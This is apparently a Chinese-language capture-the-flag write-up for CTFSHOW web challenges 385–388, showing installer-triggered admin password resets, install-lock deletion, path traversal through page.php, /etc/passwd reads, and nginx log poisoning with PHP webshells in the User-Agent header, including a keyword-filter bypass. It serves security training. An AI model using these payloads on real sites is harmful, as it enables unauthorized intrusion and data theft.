CTFSHOW web入门 黑盒测试 web385-web388
目录
web385
web386
web387
web388
web385
和上一题的步骤一样,打开页面源代码
访问/alsckdfy
还是那个登录窗口,思路和上一题应该是不一样的
目录扫描发现了新东西
/install
访问/install
通过返回的信息能够知道,需要访问install/?install,然后重新安装
https://333ab657-fac8-418e-87bc-27bae1f759fa.challenge.ctf.show/install/?install
安装好了,管理员密码被重置为默认密码了
返回登录框,使用 admin/admin888 进行登录,
这是第一次做web383 对这个登录框进行爆破的时候得到的密码
ctfshow{b4b4f022-5b6b-4af8-b66f-ccbcdc93a6cd}
web386
还是这个路径
/alsckdfy
目录扫描下
访问 install
返回:lock.dat存在,你已经安装过了,请勿重复安装
这个 lock.dat 是安装锁文件,很多 CMS 都有
lock.dat 本质的作用是告诉系统,CMS 已经安装完成了
攻击者可以通过删除安装锁,重新安装“安装锁”,来重置后台密码,来进入后台找到 flag
访问/intstall/lock.dat,下载到了 lock.dat 这个文件
打开 lock.dat,里面是一个 OK,说明这个安装锁是安装好的
访问/clear.php
返回清理完成
通过测试,能够通过 clear.php 将 lock.dat 删除掉
clear.php?file=/var/www/html/install/lock.dat
这个网站使用的服务器是 nginx 服务器
/var/www/html/ 是 Linux web 服务器的网站根目录
再次访问/install
需要通过访问 install/?install,来重新安装 ,然后重置管理员密码为默认密码
/install/?install
默认密码是 admin/admin888
ctfshow{b98063a3-a2df-44e6-9557-82cc5d1f6c57}
第二种方法
通过目录扫描得到的路径
访问/page.php
通过对这个返回路径进行分析测试,知道了这里有路径穿越漏洞
https://5c714d8c-da0c-4e9a-9e4e-b9bcf5f2a0ee.challenge.ctf.show/page.php?id=../../../../../../../var/www/html/page
查看源码
知道了 page.php 的源码
https://5c714d8c-da0c-4e9a-9e4e-b9bcf5f2a0ee.challenge.ctf.show/page.php?id=../../../../../../../var/www/html/install/index
访问/install/index
查看源码
error_reporting(0); $dbhost ="127.0.0.1"; $dbuser = "root"; $dbpwd = "root"; $dbname = "ctfshow"; $charName = "utf-8"; $file = 'lock.dat'; if(file_exists($file)){ //判断这个路径的文件是否存在, die('lock.dat存在,你已经安装过了,请勿重复安装'); } echo '请务必在安装成功后删除本文件'; echo '<br>需要重新安装请访问install/?install,管理员密码将重置为默认密码'; if(isset($_GET['install'])){ $conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname); if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error()))); } $sql = "update admin_user set username='admin',password='admin888' where username='admin';"; $result = $conn->query($sql); echo '<br>安装成功,请立即删除本文件'; }在登录框进行登录的时候会返回这个路径,如果账户密码正确,登录进去就能够看到 flag
对 /alsckdfy/check.php 路径进行目录穿越
对这个路径访问下
https://5c714d8c-da0c-4e9a-9e4e-b9bcf5f2a0ee.challenge.ctf.show/page.php?id=../../../../../../../var/www/html/alsckdfy/check
查看源码,得到 flag
$flag='ctfshow{98b6815a-ed6d-48d0-bd17-f5839cd57abb}';
<?php error_reporting(0); require_once "config.php"; $flag='ctfshow{98b6815a-ed6d-48d0-bd17-f5839cd57abb}'; $u=$_POST['u']; $p=$_POST['p']; if(isset($u) && isset($p)){ $conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname); if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error()))); } $conn->query("set name $charName"); $num = 1; $ret = array( "code"=>0, "msg"=>"查询失败", "count"=>$num, "data"=>array() ); if(!preg_match('/^[A-Za-z0-9]+$/i', $u)){ die('error'); } if(!preg_match('/^[A-Za-z0-9]+$/i', $p)){ die('error'); } $sql = "select id,username,password from admin_user where username = '".$u."' and password = '".$p."';"; $result = $conn->query($sql); if($row = $result->fetch_object()){ echo $flag; }else{ echo 'error'; } }else{ die('error'); } ?>web387
题目提示说前面部分和上一题是一样的
前面部分和386一样
目录扫描一波
和上一题一样,对 /var/www/html/install/lock.dat 进行删除
发现并不行,这里做了限制,不让删除安装文件
/robots.txt 中的是/debug 路径
/debug
返回文件不存在
通过尝试,发现能够读取文件
/debug/?file=/etc/passwd
测试是否有文件包含漏洞
/debug/?file=/var/log/nginx/access.log
/var/log/nginx/access.log 是 Nginx 的访问日志文件
这一题使用的服务器是 nginx1.20.1,后端语言是 php7.3.22
这里日志都能够访问,通过 UA 头写入木马,来获取 flag
为什么通过 UA 头写入木马呢,因为 UA 头是可控的
<?=system('cat ../alsckdfy/check.php > 111.txt')?>
使用 system 函数执行,直接读取 flag 的存放文件位置,然后将读取出来的内容存放到 111.txt 中
访问/debug/111.txt
得到 flag
$flag='ctfshow{e4bb64c0-24f3-4e53-83d4-6ac58c286ae3}';
web388
目录扫描
和上一题差不多
访问
/debug/?file=/etc/passwd
返回测试结果已写入日志,这说明还是能够通过将木马写入到日志中去执行读取 flag 的
抓这个路径的包,然后通过 UA 头写入木马,放包
/debug/?file=/var/log/nginx/access.log
有过滤,上一题的木马不能够使用了
使用这个拼接绕过关键字检测的木马
User-Agent: <?php $a="she"."ll_exec";$b="cat ../alsckdfy/check.php > 111.txt";$a($b);?>
访问
/debug/111.txt
$flag='ctfshow{9c1d6e2d-e151-485f-a8d9-9942f41798da}';